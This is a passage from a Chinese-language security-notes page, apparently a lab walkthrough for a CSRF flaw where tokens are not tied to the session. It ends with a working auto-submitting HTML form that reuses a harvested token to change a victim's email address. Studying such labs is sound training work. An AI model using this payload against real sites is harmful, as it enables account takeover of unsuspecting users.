> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-not-tied-to-session.md).

# 令牌未绑定到会话的 CSRF

### CSRF：令牌未绑定到用户会话

#### 实验目标

通过 CSRF 攻击更改受害者的电子邮件地址。该应用使用 CSRF 令牌，但它们 **未与用户会话绑定**.

#### 观察

每个 CSRF 令牌都 **只能使用一次**.

<figure><img src="/files/63f1c084b027f5b550af9842243171674991c573" alt=""><figcaption></figcaption></figure>

* 这些令牌 **未与会话关联**：使用用户 A 获取的令牌可以用来攻击 B。

<figure><img src="/files/0daa719dfee6cdc9508a6de3148e1038374a131f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4bcea1d78e43b1b2090c7d45e41a86ee1bfaf0c1" alt=""><figcaption></figcaption></figure>

#### 操作策略

1. **获取一个新的 CSRF 令牌** 但不使用它（拦截一个新请求以获取仍然有效的令牌）。
2. **在** 攻击服务器上托管一个恶意表单，发送 POST 请求，通过复用 **该令牌来更改电子邮件地址**.
3. 当受害者访问陷阱页面时，表单会自动发送并 **修改他们的电子邮件地址**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

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